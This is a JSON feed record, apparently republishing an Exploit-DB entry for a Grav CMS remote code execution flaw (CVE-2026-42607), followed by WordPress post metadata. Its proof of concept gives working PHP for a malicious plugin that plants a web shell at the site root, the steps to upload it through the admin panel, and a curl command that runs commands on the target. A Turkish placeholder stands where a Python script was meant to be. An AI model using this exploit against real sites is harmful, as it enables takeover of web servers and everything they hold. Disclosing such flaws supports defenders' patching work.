{“lastseen”:”2026-05-26T15:27:57″,”description”:”Exploit Title: Grav CMS ‘onPluginsInitialized’, 0; public f…”,”published”:”2026-05-26T00:00:00″,”modified”:”2026-05-26T00:00:00″,”type”:”exploitdb”,”title”:”Grav CMS 2.0.0-beta.2 – Remote Code Execution”,”source”:””,”references”:””,”id”:”EDB-ID:52578″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-42607″],”sourceData”:”# Exploit Title: Grav CMS \\u003c 2.0.0-beta.2 – Remote Code Execution (RCE) \\r\\n# Date: 2026-05-08\\r\\n# Exploit Author: Mustafa Murat Akg\u00fcl\\r\\n# Vendor Homepage: https:\/\/getgrav.org\/\\r\\n# Software Link: https:\/\/github.com\/getgrav\/grav\\r\\n# Version: \\u003c 2.0.0-beta.2\\r\\n# CVE: CVE-2026-42607 \/ GHSA-w48r-jppp-rcfw\\r\\n# Tested on: Linux\/Ubuntu (Grav Admin Plugin Enabled)\\r\\n\\r\\nTechnical Details:\\r\\nThe Grav CMS \\”Direct Install\\” feature in the Admin plugin allows administrators \\r\\nto upload plugins as ZIP files. The system failed to adequately validate the \\r\\ncontents of the ZIP archive or prevent path traversal (Zip Slip) during extraction. \\r\\nBy crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized), \\r\\nan attacker can execute arbitrary PHP code or drop a persistent web shell on the root directory.\\r\\n\\r\\nProof of Concept (PoC):\\r\\n\\r\\n1. Create a malicious plugin structure:\\r\\n – shellplugin\/blueprints.yaml\\r\\n – shellplugin\/shellplugin.yaml\\r\\n – shellplugin\/shellplugin.php (Payload below)\\r\\n\\r\\n— shellplugin.php —\\r\\n\\u003c?php\\r\\nnamespace Grav\\\\Plugin;\\r\\nuse Grav\\\\Common\\\\Plugin;\\r\\n\\r\\nclass ShellpluginPlugin extends Plugin {\\r\\n public static function getSubscribedEvents(): array {\\r\\n return [‘onPluginsInitialized’ =\\u003e [‘onPluginsInitialized’, 0]];\\r\\n }\\r\\n public function onPluginsInitialized(): void {\\r\\n $shell_path = GRAV_ROOT . ‘\/shell.php’;\\r\\n if (!file_exists($shell_path)) {\\r\\n file_put_contents($shell_path, ‘\\u003c?php system($_GET[\\”cmd\\”]); ?\\u003e’);\\r\\n }\\r\\n }\\r\\n}\\r\\n———————-\\r\\n\\r\\n2. Compress the directory:\\r\\n $ zip -r shellplugin.zip shellplugin\/\\r\\n\\r\\n3. Log in to the Grav Admin panel and navigate to:\\r\\n \/admin\/tools\/direct-install\\r\\n\\r\\n4. Upload the ‘shellplugin.zip’ file.\\r\\n\\r\\n5. Once installed, the plugin triggers on the next request to the site, \\r\\n dropping a shell at the root.\\r\\n\\r\\n6. Access your shell:\\r\\n curl \\”http:\/\/\\u003ctarget\\u003e\/shell.php?cmd=id\\”\\r\\n\\r\\nExploit Script (Python):\\r\\n[Buraya yukar\u0131da payla\u015ft\u0131\u011f\u0131n Python scriptini ekleyebilirsin]\\r\\n\\r\\nImpact:\\r\\nFull system-level access under the context of the web server user. An attacker \\r\\nwith administrative privileges (or via CSRF) can compromise the entire server.”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52578″,”cvss”:{“score”:9.1,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52578″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-26T15:27:57″,”description”:”Exploit Title: Grav CMS ‘onPluginsInitialized’, 0; public f…”,”published”:”2026-05-26T00:00:00″,”modified”:”2026-05-26T00:00:00″,”type”:”exploitdb”,”title”:”Grav CMS 2.0.0-beta.2 – Remote Code Execution”,”source”:””,”references”:””,”id”:”EDB-ID:52578″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-42607″],”sourceData”:”# Exploit Title: Grav CMS \\u003c 2.0.0-beta.2 – Remote Code Execution (RCE)…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,40,13,7,11,5],"class_list":["post-56934","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n